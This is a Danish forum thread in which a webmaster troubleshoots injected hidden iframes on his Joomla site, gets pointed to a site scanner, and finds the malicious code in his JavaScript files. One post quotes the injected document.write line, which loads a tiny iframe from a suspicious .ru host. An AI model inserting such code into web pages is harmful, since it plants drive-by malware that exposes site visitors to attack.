Hacket? w3c iframes i toppen af site

[carbonarm]

Jeg var først sikker på at mine hjemmesider var blevet hacket, men er ikke helt sikker efter jeg tog en backup af alle filer og søgte efter de koder der kommer frem i toppen af hjemmesiderne, fordi koderne var der ikke!

Kig på ** formtop.dk Der er et mellemrum i toppen af siden og hvis du tager firebug eller bare ser kildekoden, ser du iframes lige efter header tags med ref til stien="http://textheavylosing.org/Lexmark?8"
Selve iframes'ene er sat til 5px højde, men øger jeg dem til 600px, ser jeg den offeicielle side til w3c.org som bekendt er www's standarder for html og css.

Jeg har været hacket før, men har kunne finde koderne når jeg søger via windows fil søger, men denne her kan jeg sku ikke finde, og der vises hele 9 imframes lige efter headeren.... jeg fatter ingenting...håber der er nogen der har et godt gæt på hvad jeg kan gøre!!!

[ot2sen]

Hej Carbonarm,

Du bør tage et grundigere tjek. Det er givetvis noget andet kode der henter det endelig output.
Men siden er inficeret som du kan se i den note jeg lavede ovenfor.

[carbonarm]

Takker for svar, men jeg kan ikke se dit link, da det er fjernet af forum scriptet til beskyttelse af andre.

Men enig, koden må jo komme et sted fra. Men når jeg søger på f.eks. <iframe fra rod mappen og videre, kommer der intet! Det er mærkeligt synes jeg. Der er et hav af system, modul, component og plugin filer som renderer joomlas endelige output, men hvis ikke koden findes direkte, kan javascript kalde koden? javascript er jeg ikke super stærk i, men er god php programmør.

[solsikkehaven]

Må jeg anbefale dig, hvis du ikke kan finde koden selv, øjeblikkeligt få nogen til det.

F.eks. Sucuri.net
http://sucuri.net/signup

se info om dit website her:
http://sitecheck.sucuri.net/results/formtop.dk

[carbonarm]

Tak for info, det ku jeg bruge til noget.

Jeg havde godt nok fundet koden i ALLE min .js filer, men ser at den også ligger i .js.php filerne.... tak for tippet til websiden der checker.

Der ser jeg også den kode jeg selv fandt i javascript filerne:
document.write('<iframe src="http://playadefrag.ru/Bermuda?8" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>')

Jeg har fået en kammereat der er god til Linux, at finde alle steder der starter med document.write('<iframe og ender på </iframe>') og slette dem. Så håber jeg alt kommer med og filerne renset.